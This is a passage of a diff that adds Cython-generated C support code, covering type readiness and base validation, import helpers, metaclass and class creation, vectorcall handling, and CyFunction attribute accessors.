PyString_AS_STRING(((PyClassObject*)b0)->cl_name)); +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } +#endif + b = (PyTypeObject*) b0; + if (!__Pyx_PyType_HasFeature(b, Py_TPFLAGS_HEAPTYPE)) + { + __Pyx_TypeName b_name = __Pyx_PyType_GetName(b); + PyErr_Format(PyExc_TypeError, + "base class '" __Pyx_FMT_TYPENAME "' is not a heap type", b_name); + __Pyx_DECREF_TypeName(b_name); +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } + if (dictoffset == 0) + { + Py_ssize_t b_dictoffset = 0; +#if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + b_dictoffset = b->tp_dictoffset; +#else + PyObject *py_b_dictoffset = PyObject_GetAttrString((PyObject*)b, "__dictoffset__"); + if (!py_b_dictoffset) goto dictoffset_return; + b_dictoffset = PyLong_AsSsize_t(py_b_dictoffset); + Py_DECREF(py_b_dictoffset); + if (b_dictoffset == -1 && PyErr_Occurred()) goto dictoffset_return; +#endif + if (b_dictoffset) { + { + __Pyx_TypeName b_name = __Pyx_PyType_GetName(b); + PyErr_Format(PyExc_TypeError, + "extension type '%.200s' has no __dict__ slot, " + "but base type '" __Pyx_FMT_TYPENAME "' has: " + "either add 'cdef dict __dict__' to the extension type " + "or add '__slots__ = [...]' to the base type", + type_name, b_name); + __Pyx_DECREF_TypeName(b_name); + } +#if !(CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY) + dictoffset_return: +#endif +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } + } +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + } + return 0; +} +#endif + +/* PyType_Ready */ + static int __Pyx_PyType_Ready(PyTypeObject *t) { +#if CYTHON_USE_TYPE_SPECS || !(CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API) || defined(PYSTON_MAJOR_VERSION) + (void)__Pyx_PyObject_CallMethod0; +#if CYTHON_USE_TYPE_SPECS + (void)__Pyx_validate_bases_tuple; +#endif + return PyType_Ready(t); +#else + int r; + PyObject *bases = __Pyx_PyType_GetSlot(t, tp_bases, PyObject*); + if (bases && unlikely(__Pyx_validate_bases_tuple(t->tp_name, t->tp_dictoffset, bases) == -1)) + return -1; +#if PY_VERSION_HEX >= 0x03050000 && !defined(PYSTON_MAJOR_VERSION) + { + int gc_was_enabled; + #if PY_VERSION_HEX >= 0x030A00b1 + gc_was_enabled = PyGC_Disable(); + (void)__Pyx_PyObject_CallMethod0; + #else + PyObject *ret, *py_status; + PyObject *gc = NULL; + #if PY_VERSION_HEX >= 0x030700a1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM+0 >= 0x07030400) + gc = PyImport_GetModule(__pyx_kp_u_gc); + #endif + if (unlikely(!gc)) gc = PyImport_Import(__pyx_kp_u_gc); + if (unlikely(!gc)) return -1; + py_status = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_isenabled); + if (unlikely(!py_status)) { + Py_DECREF(gc); + return -1; + } + gc_was_enabled = __Pyx_PyObject_IsTrue(py_status); + Py_DECREF(py_status); + if (gc_was_enabled > 0) { + ret = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_disable); + if (unlikely(!ret)) { + Py_DECREF(gc); + return -1; + } + Py_DECREF(ret); + } else if (unlikely(gc_was_enabled == -1)) { + Py_DECREF(gc); + return -1; + } + #endif + t->tp_flags |= Py_TPFLAGS_HEAPTYPE; +#if PY_VERSION_HEX >= 0x030A0000 + t->tp_flags |= Py_TPFLAGS_IMMUTABLETYPE; +#endif +#else + (void)__Pyx_PyObject_CallMethod0; +#endif + r = PyType_Ready(t); +#if PY_VERSION_HEX >= 0x03050000 && !defined(PYSTON_MAJOR_VERSION) + t->tp_flags &= ~Py_TPFLAGS_HEAPTYPE; + #if PY_VERSION_HEX >= 0x030A00b1 + if (gc_was_enabled) + PyGC_Enable(); + #else + if (gc_was_enabled) { + PyObject *tp, *v, *tb; + PyErr_Fetch(&tp, &v, &tb); + ret = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_enable); + if (likely(ret || r == -1)) { + Py_XDECREF(ret); + PyErr_Restore(tp, v, tb); + } else { + Py_XDECREF(tp); + Py_XDECREF(v); + Py_XDECREF(tb); + r = -1; + } + } + Py_DECREF(gc); + #endif + } +#endif + return r; +#endif +} + +/* Import */ + static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level) { + PyObject *module = 0; + PyObject *empty_dict = 0; + PyObject *empty_list = 0; + #if PY_MAJOR_VERSION < 3 + PyObject *py_import; + py_import = __Pyx_PyObject_GetAttrStr(__pyx_b, __pyx_n_s_import); + if (unlikely(!py_import)) + goto bad; + if (!from_list) { + empty_list = PyList_New(0); + if (unlikely(!empty_list)) + goto bad; + from_list = empty_list; + } + #endif + empty_dict = PyDict_New(); + if (unlikely(!empty_dict)) + goto bad; + { + #if PY_MAJOR_VERSION >= 3 + if (level == -1) { + if (strchr(__Pyx_MODULE_NAME, '.') != NULL) { + module = PyImport_ImportModuleLevelObject( + name, __pyx_d, empty_dict, from_list, 1); + if (unlikely(!module)) { + if (unlikely(!PyErr_ExceptionMatches(PyExc_ImportError))) + goto bad; + PyErr_Clear(); + } + } + level = 0; + } + #endif + if (!module) { + #if PY_MAJOR_VERSION < 3 + PyObject *py_level = PyInt_FromLong(level); + if (unlikely(!py_level)) + goto bad; + module = PyObject_CallFunctionObjArgs(py_import, + name, __pyx_d, empty_dict, from_list, py_level, (PyObject *)NULL); + Py_DECREF(py_level); + #else + module = PyImport_ImportModuleLevelObject( + name, __pyx_d, empty_dict, from_list, level); + #endif + } + } +bad: + Py_XDECREF(empty_dict); + Py_XDECREF(empty_list); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(py_import); + #endif + return module; +} + +/* ImportFrom */ + static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name) { + PyObject* value = __Pyx_PyObject_GetAttrStr(module, name); + if (unlikely(!value) && PyErr_ExceptionMatches(PyExc_AttributeError)) { + const char* module_name_str = 0; + PyObject* module_name = 0; + PyObject* module_dot = 0; + PyObject* full_name = 0; + PyErr_Clear(); + module_name_str = PyModule_GetName(module); + if (unlikely(!module_name_str)) { goto modbad; } + module_name = PyUnicode_FromString(module_name_str); + if (unlikely(!module_name)) { goto modbad; } + module_dot = PyUnicode_Concat(module_name, __pyx_kp_u__30); + if (unlikely(!module_dot)) { goto modbad; } + full_name = PyUnicode_Concat(module_dot, name); + if (unlikely(!full_name)) { goto modbad; } + #if PY_VERSION_HEX < 0x030700A1 || (CYTHON_COMPILING_IN_PYPY && PYPY_VERSION_NUM < 0x07030400) + { + PyObject *modules = PyImport_GetModuleDict(); + if (unlikely(!modules)) + goto modbad; + value = PyObject_GetItem(modules, full_name); + } + #else + value = PyImport_GetModule(full_name); + #endif + modbad: + Py_XDECREF(full_name); + Py_XDECREF(module_dot); + Py_XDECREF(module_name); + } + if (unlikely(!value)) { + PyErr_Format(PyExc_ImportError, + #if PY_MAJOR_VERSION < 3 + "cannot import name %.230s", PyString_AS_STRING(name)); + #else + "cannot import name %S", name); + #endif + } + return value; +} + +/* Py3UpdateBases */ + static PyObject* +__Pyx_PEP560_update_bases(PyObject *bases) +{ + Py_ssize_t i, j, size_bases; + PyObject *base, *meth, *new_base, *result, *new_bases = NULL; + size_bases = PyTuple_GET_SIZE(bases); + for (i = 0; i < size_bases; i++) { + base = PyTuple_GET_ITEM(bases, i); + if (PyType_Check(base)) { + if (new_bases) { + if (PyList_Append(new_bases, base) < 0) { + goto error; + } + } + continue; + } + meth = __Pyx_PyObject_GetAttrStrNoError(base, __pyx_n_s_mro_entries); + if (!meth && PyErr_Occurred()) { + goto error; + } + if (!meth) { + if (new_bases) { + if (PyList_Append(new_bases, base) < 0) { + goto error; + } + } + continue; + } + new_base = __Pyx_PyObject_CallOneArg(meth, bases); + Py_DECREF(meth); + if (!new_base) { + goto error; + } + if (!PyTuple_Check(new_base)) { + PyErr_SetString(PyExc_TypeError, + "__mro_entries__ must return a tuple"); + Py_DECREF(new_base); + goto error; + } + if (!new_bases) { + if (!(new_bases = PyList_New(i))) { + goto error; + } + for (j = 0; j < i; j++) { + base = PyTuple_GET_ITEM(bases, j); + PyList_SET_ITEM(new_bases, j, base); + Py_INCREF(base); + } + } + j = PyList_GET_SIZE(new_bases); + if (PyList_SetSlice(new_bases, j, j, new_base) < 0) { + goto error; + } + Py_DECREF(new_base); + } + if (!new_bases) { + Py_INCREF(bases); + return bases; + } + result = PyList_AsTuple(new_bases); + Py_DECREF(new_bases); + return result; +error: + Py_XDECREF(new_bases); + return NULL; +} + +/* CalculateMetaclass */ + static PyObject *__Pyx_CalculateMetaclass(PyTypeObject *metaclass, PyObject *bases) { + Py_ssize_t i, nbases; +#if CYTHON_ASSUME_SAFE_MACROS + nbases = PyTuple_GET_SIZE(bases); +#else + nbases = PyTuple_Size(bases); + if (nbases < 0) return NULL; +#endif + for (i=0; i < nbases; i++) { + PyTypeObject *tmptype; +#if CYTHON_ASSUME_SAFE_MACROS + PyObject *tmp = PyTuple_GET_ITEM(bases, i); +#else + PyObject *tmp = PyTuple_GetItem(bases, i); + if (!tmp) return NULL; +#endif + tmptype = Py_TYPE(tmp); +#if PY_MAJOR_VERSION < 3 + if (tmptype == &PyClass_Type) + continue; +#endif + if (!metaclass) { + metaclass = tmptype; + continue; + } + if (PyType_IsSubtype(metaclass, tmptype)) + continue; + if (PyType_IsSubtype(tmptype, metaclass)) { + metaclass = tmptype; + continue; + } + PyErr_SetString(PyExc_TypeError, + "metaclass conflict: " + "the metaclass of a derived class " + "must be a (non-strict) subclass " + "of the metaclasses of all its bases"); + return NULL; + } + if (!metaclass) { +#if PY_MAJOR_VERSION < 3 + metaclass = &PyClass_Type; +#else + metaclass = &PyType_Type; +#endif + } + Py_INCREF((PyObject*) metaclass); + return (PyObject*) metaclass; +} + +/* PyObjectLookupSpecial */ + #if CYTHON_USE_PYTYPE_LOOKUP && CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx__PyObject_LookupSpecial(PyObject* obj, PyObject* attr_name, int with_error) { + PyObject *res; + PyTypeObject *tp = Py_TYPE(obj); +#if PY_MAJOR_VERSION < 3 + if (unlikely(PyInstance_Check(obj))) + return with_error ? __Pyx_PyObject_GetAttrStr(obj, attr_name) : __Pyx_PyObject_GetAttrStrNoError(obj, attr_name); +#endif + res = _PyType_Lookup(tp, attr_name); + if (likely(res)) { + descrgetfunc f = Py_TYPE(res)->tp_descr_get; + if (!f) { + Py_INCREF(res); + } else { + res = f(res, obj, (PyObject *)tp); + } + } else if (with_error) { + PyErr_SetObject(PyExc_AttributeError, attr_name); + } + return res; +} +#endif + +/* Py3ClassCreate */ + static PyObject *__Pyx_Py3MetaclassPrepare(PyObject *metaclass, PyObject *bases, PyObject *name, + PyObject *qualname, PyObject *mkw, PyObject *modname, PyObject *doc) { + PyObject *ns; + if (metaclass) { + PyObject *prep = __Pyx_PyObject_GetAttrStrNoError(metaclass, __pyx_n_s_prepare); + if (prep) { + PyObject *pargs[3] = {NULL, name, bases}; + ns = __Pyx_PyObject_FastCallDict(prep, pargs+1, 2 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET, mkw); + Py_DECREF(prep); + } else { + if (unlikely(PyErr_Occurred())) + return NULL; + ns = PyDict_New(); + } + } else { + ns = PyDict_New(); + } + if (unlikely(!ns)) + return NULL; + if (unlikely(PyObject_SetItem(ns, __pyx_n_s_module, modname) < 0)) goto bad; +#if PY_VERSION_HEX >= 0x03030000 + if (unlikely(PyObject_SetItem(ns, __pyx_n_s_qualname, qualname) < 0)) goto bad; +#else + CYTHON_MAYBE_UNUSED_VAR(qualname); +#endif + if (unlikely(doc && PyObject_SetItem(ns, __pyx_n_s_doc, doc) < 0)) goto bad; + return ns; +bad: + Py_DECREF(ns); + return NULL; +} +#if PY_VERSION_HEX < 0x030600A4 && CYTHON_PEP487_INIT_SUBCLASS +static int __Pyx_SetNamesPEP487(PyObject *type_obj) { + PyTypeObject *type = (PyTypeObject*) type_obj; + PyObject *names_to_set, *key, *value, *set_name, *tmp; + Py_ssize_t i = 0; +#if CYTHON_USE_TYPE_SLOTS + names_to_set = PyDict_Copy(type->tp_dict); +#else + { + PyObject *d = PyObject_GetAttr(type_obj, __pyx_n_s_dict); + names_to_set = NULL; + if (likely(d)) { + PyObject *names_to_set = PyDict_New(); + int ret = likely(names_to_set) ? PyDict_Update(names_to_set, d) : -1; + Py_DECREF(d); + if (unlikely(ret < 0)) + Py_CLEAR(names_to_set); + } + } +#endif + if (unlikely(names_to_set == NULL)) + goto bad; + while (PyDict_Next(names_to_set, &i, &key, &value)) { + set_name = __Pyx_PyObject_LookupSpecialNoError(value, __pyx_n_s_set_name); + if (unlikely(set_name != NULL)) { + tmp = __Pyx_PyObject_Call2Args(set_name, type_obj, key); + Py_DECREF(set_name); + if (unlikely(tmp == NULL)) { + __Pyx_TypeName value_type_name = + __Pyx_PyType_GetName(Py_TYPE(value)); + __Pyx_TypeName type_name = __Pyx_PyType_GetName(type); + PyErr_Format(PyExc_RuntimeError, +#if PY_MAJOR_VERSION >= 3 + "Error calling __set_name__ on '" __Pyx_FMT_TYPENAME "' instance %R " "in '" __Pyx_FMT_TYPENAME "'", + value_type_name, key, type_name); +#else + "Error calling __set_name__ on '" __Pyx_FMT_TYPENAME "' instance %.100s in '" __Pyx_FMT_TYPENAME "'", + value_type_name, + PyString_Check(key) ? PyString_AS_STRING(key) : "?", + type_name); +#endif + goto bad; + } else { + Py_DECREF(tmp); + } + } + else if (unlikely(PyErr_Occurred())) { + goto bad; + } + } + Py_DECREF(names_to_set); + return 0; +bad: + Py_XDECREF(names_to_set); + return -1; +} +static PyObject *__Pyx_InitSubclassPEP487(PyObject *type_obj, PyObject *mkw) { +#if CYTHON_USE_TYPE_SLOTS && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + PyTypeObject *type = (PyTypeObject*) type_obj; + PyObject *mro = type->tp_mro; + Py_ssize_t i, nbases; + if (unlikely(!mro)) goto done; + (void) &__Pyx_GetBuiltinName; + Py_INCREF(mro); + nbases = PyTuple_GET_SIZE(mro); + assert(PyTuple_GET_ITEM(mro, 0) == type_obj); + for (i = 1; i < nbases-1; i++) { + PyObject *base, *dict, *meth; + base = PyTuple_GET_ITEM(mro, i); + dict = ((PyTypeObject *)base)->tp_dict; + meth = __Pyx_PyDict_GetItemStrWithError(dict, __pyx_n_s_init_subclass); + if (unlikely(meth)) { + descrgetfunc f = Py_TYPE(meth)->tp_descr_get; + PyObject *res; + Py_INCREF(meth); + if (likely(f)) { + res = f(meth, NULL, type_obj); + Py_DECREF(meth); + if (unlikely(!res)) goto bad; + meth = res; + } + res = __Pyx_PyObject_FastCallDict(meth, NULL, 0, mkw); + Py_DECREF(meth); + if (unlikely(!res)) goto bad; + Py_DECREF(res); + goto done; + } else if (unlikely(PyErr_Occurred())) { + goto bad; + } + } +done: + Py_XDECREF(mro); + return type_obj; +bad: + Py_XDECREF(mro); + Py_DECREF(type_obj); + return NULL; +#else + PyObject *super_type, *super, *func, *res; +#if CYTHON_COMPILING_IN_PYPY && !defined(PySuper_Type) + super_type = __Pyx_GetBuiltinName(__pyx_n_s_super); +#else + super_type = (PyObject*) &PySuper_Type; + (void) &__Pyx_GetBuiltinName; +#endif + super = likely(super_type) ? __Pyx_PyObject_Call2Args(super_type, type_obj, type_obj) : NULL; +#if CYTHON_COMPILING_IN_PYPY && !defined(PySuper_Type) + Py_XDECREF(super_type); +#endif + if (unlikely(!super)) { + Py_CLEAR(type_obj); + goto done; + } + func = __Pyx_PyObject_GetAttrStrNoError(super, __pyx_n_s_init_subclass); + Py_DECREF(super); + if (likely(!func)) { + if (unlikely(PyErr_Occurred())) + Py_CLEAR(type_obj); + goto done; + } + res = __Pyx_PyObject_FastCallDict(func, NULL, 0, mkw); + Py_DECREF(func); + if (unlikely(!res)) + Py_CLEAR(type_obj); + Py_XDECREF(res); +done: + return type_obj; +#endif +} +#endif +static PyObject *__Pyx_Py3ClassCreate(PyObject *metaclass, PyObject *name, PyObject *bases, + PyObject *dict, PyObject *mkw, + int calculate_metaclass, int allow_py2_metaclass) { + PyObject *result; + PyObject *owned_metaclass = NULL; + PyObject *margs[4] = {NULL, name, bases, dict}; + if (allow_py2_metaclass) { + owned_metaclass = PyObject_GetItem(dict, __pyx_n_s_metaclass); + if (owned_metaclass) { + metaclass = owned_metaclass; + } else if (likely(PyErr_ExceptionMatches(PyExc_KeyError))) { + PyErr_Clear(); + } else { + return NULL; + } + } + if (calculate_metaclass && (!metaclass || PyType_Check(metaclass))) { + metaclass = __Pyx_CalculateMetaclass((PyTypeObject*) metaclass, bases); + Py_XDECREF(owned_metaclass); + if (unlikely(!metaclass)) + return NULL; + owned_metaclass = metaclass; + } + result = __Pyx_PyObject_FastCallDict(metaclass, margs+1, 3 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET, +#if PY_VERSION_HEX < 0x030600A4 + (metaclass == (PyObject*)&PyType_Type) ? NULL : mkw +#else + mkw +#endif + ); + Py_XDECREF(owned_metaclass); +#if PY_VERSION_HEX < 0x030600A4 && CYTHON_PEP487_INIT_SUBCLASS + if (likely(result) && likely(PyType_Check(result))) { + if (unlikely(__Pyx_SetNamesPEP487(result) < 0)) { + Py_CLEAR(result); + } else { + result = __Pyx_InitSubclassPEP487(result, mkw); + } + } +#else + (void) &__Pyx_GetBuiltinName; +#endif + return result; +} + +/* PyVectorcallFastCallDict */ + #if CYTHON_METH_FASTCALL +static PyObject *__Pyx_PyVectorcall_FastCallDict_kw(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw) +{ + PyObject *res = NULL; + PyObject *kwnames; + PyObject **newargs; + PyObject **kwvalues; + Py_ssize_t i, pos; + size_t j; + PyObject *key, *value; + unsigned long keys_are_strings; + Py_ssize_t nkw = PyDict_GET_SIZE(kw); + newargs = (PyObject **)PyMem_Malloc((nargs + (size_t)nkw) * sizeof(args[0])); + if (unlikely(newargs == NULL)) { + PyErr_NoMemory(); + return NULL; + } + for (j = 0; j < nargs; j++) newargs[j] = args[j]; + kwnames = PyTuple_New(nkw); + if (unlikely(kwnames == NULL)) { + PyMem_Free(newargs); + return NULL; + } + kwvalues = newargs + nargs; + pos = i = 0; + keys_are_strings = Py_TPFLAGS_UNICODE_SUBCLASS; + while (PyDict_Next(kw, &pos, &key, &value)) { + keys_are_strings &= Py_TYPE(key)->tp_flags; + Py_INCREF(key); + Py_INCREF(value); + PyTuple_SET_ITEM(kwnames, i, key); + kwvalues[i] = value; + i++; + } + if (unlikely(!keys_are_strings)) { + PyErr_SetString(PyExc_TypeError, "keywords must be strings"); + goto cleanup; + } + res = vc(func, newargs, nargs, kwnames); +cleanup: + Py_DECREF(kwnames); + for (i = 0; i < nkw; i++) + Py_DECREF(kwvalues[i]); + PyMem_Free(newargs); + return res; +} +static CYTHON_INLINE PyObject *__Pyx_PyVectorcall_FastCallDict(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw) +{ + if (likely(kw == NULL) || PyDict_GET_SIZE(kw) == 0) { + return vc(func, args, nargs, NULL); + } + return __Pyx_PyVectorcall_FastCallDict_kw(func, vc, args, nargs, kw); +} +#endif + +/* CythonFunctionShared */ + #if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc) { + if (__Pyx_CyFunction_Check(func)) { + return PyCFunction_GetFunction(((__pyx_CyFunctionObject*)func)->func) == (PyCFunction) cfunc; + } else if (PyCFunction_Check(func)) { + return PyCFunction_GetFunction(func) == (PyCFunction) cfunc; + } + return 0; +} +#else +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc) { + return __Pyx_CyOrPyCFunction_Check(func) && __Pyx_CyOrPyCFunction_GET_FUNCTION(func) == (PyCFunction) cfunc; +} +#endif +static CYTHON_INLINE void __Pyx__CyFunction_SetClassObj(__pyx_CyFunctionObject* f, PyObject* classobj) { +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + __Pyx_Py_XDECREF_SET( + __Pyx_CyFunction_GetClassObj(f), + ((classobj) ? __Pyx_NewRef(classobj) : NULL)); +#else + __Pyx_Py_XDECREF_SET( + ((PyCMethodObject *) (f))->mm_class, + (PyTypeObject*)((classobj) ? __Pyx_NewRef(classobj) : NULL)); +#endif +} +static PyObject * +__Pyx_CyFunction_get_doc(__pyx_CyFunctionObject *op, void *closure) +{ + CYTHON_UNUSED_VAR(closure); + if (unlikely(op->func_doc == NULL)) { +#if CYTHON_COMPILING_IN_LIMITED_API + op->func_doc = PyObject_GetAttrString(op->func, "__doc__"); + if (unlikely(!op->func_doc)) return NULL; +#else + if (((PyCFunctionObject*)op)->m_ml->ml_doc) { +#if PY_MAJOR_VERSION >= 3 + op->func_doc = PyUnicode_FromString(((PyCFunctionObject*)op)->m_ml->ml_doc); +#else + op->func_doc = PyString_FromString(((PyCFunctionObject*)op)->m_ml->ml_doc); +#endif + if (unlikely(op->func_doc == NULL)) + return NULL; + } else { + Py_INCREF(Py_None); + return Py_None; + } +#endif + } + Py_INCREF(op->func_doc); + return op->func_doc; +} +static int +__Pyx_CyFunction_set_doc(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (value == NULL) { + value = Py_None; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_doc, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_name(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(op->func_name == NULL)) { +#if CYTHON_COMPILING_IN_LIMITED_API + op->func_name = PyObject_GetAttrString(op->func, "__name__"); +#elif PY_MAJOR_VERSION >= 3 + op->func_name = PyUnicode_InternFromString(((PyCFunctionObject*)op)->m_ml->ml_name); +#else + op->func_name = PyString_InternFromString(((PyCFunctionObject*)op)->m_ml->ml_name); +#endif + if (unlikely(op->func_name == NULL)) + return NULL; + } + Py_INCREF(op->func_name); + return op->func_name; +} +static int +__Pyx_CyFunction_set_name(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__name__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_name, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_qualname(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + Py_INCREF(op->func_qualname); + return op->func_qualname; +} +static int +__Pyx_CyFunction_set_qualname(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__qualname__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_qualname, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_dict(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(op->func_dict == NULL)) { + op->func_dict = PyDict_New(); + if (unlikely(op->func_dict == NULL)) + return NULL; + } + Py_INCREF(op->func_dict); + return op->func_dict; +} +static int +__Pyx_CyFunction_set_dict(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(value == NULL)) { + PyErr_SetString(PyExc_TypeError, + "function's dictionary may not be deleted"); + return -1; + } + if (unlikely(!PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "setting function's dictionary to a non-dict"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_dict, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_globals(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + Py_INCREF(op->func_globals); + return op->func_globals; +} +static PyObject * +__Pyx_CyFunction_get_closure(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(op); + CYTHON_UNUSED_VAR(context); + Py_INCREF(Py_None); + return Py_None; +} +static PyObject * +__Pyx_CyFunction_get_code(__pyx_CyFunctionObject *op, void *context) +{ + PyObject* result = (op->func_code) ? op->func_code : Py_None; + CYTHON_UNUSED_VAR(context); + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_init_defaults(__pyx_CyFunctionObject *op) { + int result = 0; + PyObject *res = op->defaults_getter((PyObject *) op); + if (unlikely(!res)) + return -1; + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + op->defaults_tuple = PyTuple_GET_ITEM(res, 0); + Py_INCREF(op->defaults_tuple); + op->defaults_kwdict = PyTuple_GET_ITEM(res, 1); + Py_INCREF(op->defaults_kwdict); + #else + op->defaults_tuple = __Pyx_PySequence_ITEM(res, 0); + if (unlikely(!op->defaults_tuple)) result = -1; + else { + op->defaults_kwdict = __Pyx_PySequence_ITEM(res, 1); + if (unlikely(!op->defaults_kwdict)) result = -1; + } + #endif + Py_DECREF(res); + return result; +} +static int +__Pyx_CyFunction_set_defaults(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value) { + value = Py_None; + } else if (unlikely(value != Py_None && !PyTuple_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__defaults__ must be set to a tuple object"); + return -1; + } + PyErr_WarnEx(PyExc_RuntimeWarning, "changes to cyfunction.__defaults__ will not " + "currently affect the values used in function calls", 1); + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->defaults_tuple, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_defaults(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->defaults_tuple; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + if (op->defaults_getter) { + if (unlikely(__Pyx_CyFunction_init_defaults(op) < 0)) return NULL; + result = op->defaults_tuple; + } else { + result = Py_None; + } + } + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_set_kwdefaults(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value) { + value = Py_None; + } else if (unlikely(value != Py_None && !PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__kwdefaults__ must be set to a dict object"); + return -1; + } + PyErr_WarnEx(PyExc_RuntimeWarning, "changes to cyfunction.__kwdefaults__ will not " + "currently affect the values used in function calls", 1); + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->defaults_kwdict, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_kwdefaults(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->defaults_kwdict; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + if (op->defaults_getter) { + if (unlikely(__Pyx_CyFunction_init_defaults(op) < 0)) return NULL; + result = op->defaults_kwdict; + } else { + result = Py_None; + } + } + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_set_annotations(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value || value == Py_None) { + value = NULL; + } else if (unlikely(!PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__annotations__ must be set to a dict object"); + return -1; + } + Py_XINCREF(value); + __Pyx_Py_XDECREF_SET(op->func_annotations, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_annotations(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->func_annotations; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + result = PyDict_New(); + if (unlikely(!result)) return NULL; + op->func_annotations = result; + } + Py_INCREF(result); + return result; +} +static PyObject * +__Pyx_CyFunction_get_is_coroutine(__pyx_CyFunctionObject *op, void *context) { + int is_coroutine; + CYTHON_UNUSED_VAR(context); + if (op->func_is_coroutine) { + return __Pyx_NewRef(op->func_is_coroutine); + } + is_coroutine = op->flags & __Pyx_CYFUNCTION_COROUTINE; +#if PY_VERSION_HEX >= 0x03050000 + if (is_coroutine) { + PyObject *module, *fromlist, *marker = __pyx_n_s_is_coroutine; + fromlist = PyList_New(1); + if (unlikely(!fromlist)) return NULL; + Py_INCREF(marker); +#if CYTHON_ASSUME_SAFE_MACROS + PyList_SET_ITEM(fromlist, 0, marker); +#else + if (unlikely(PyList_SetItem(fromlist, 0, marker) < 0)) { + Py_DECREF(marker); + Py_DECREF(fromlist); + return NULL; + } +#endif + module = PyImport_ImportModuleLevelObject(__pyx_n_s_asyncio_coroutines, NULL, NULL, fromlist, 0); + Py_DECREF(fromlist); + if (unlikely(!module)) goto ignore; + op->func_is_coroutine = __Pyx_PyObject_GetAttrStr(module, marker); + Py_DECREF(module); + if (likely(op->func_is_coroutine)) { + return __Pyx_NewRef(op->func_is_coroutine); + } +ignore: + PyErr_Clear(); + } +#endif + op->func_is_coroutine = __Pyx_PyBool_FromLong(is_coroutine); + return __Pyx_NewRef(op->func_is_coroutine); +} +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject * 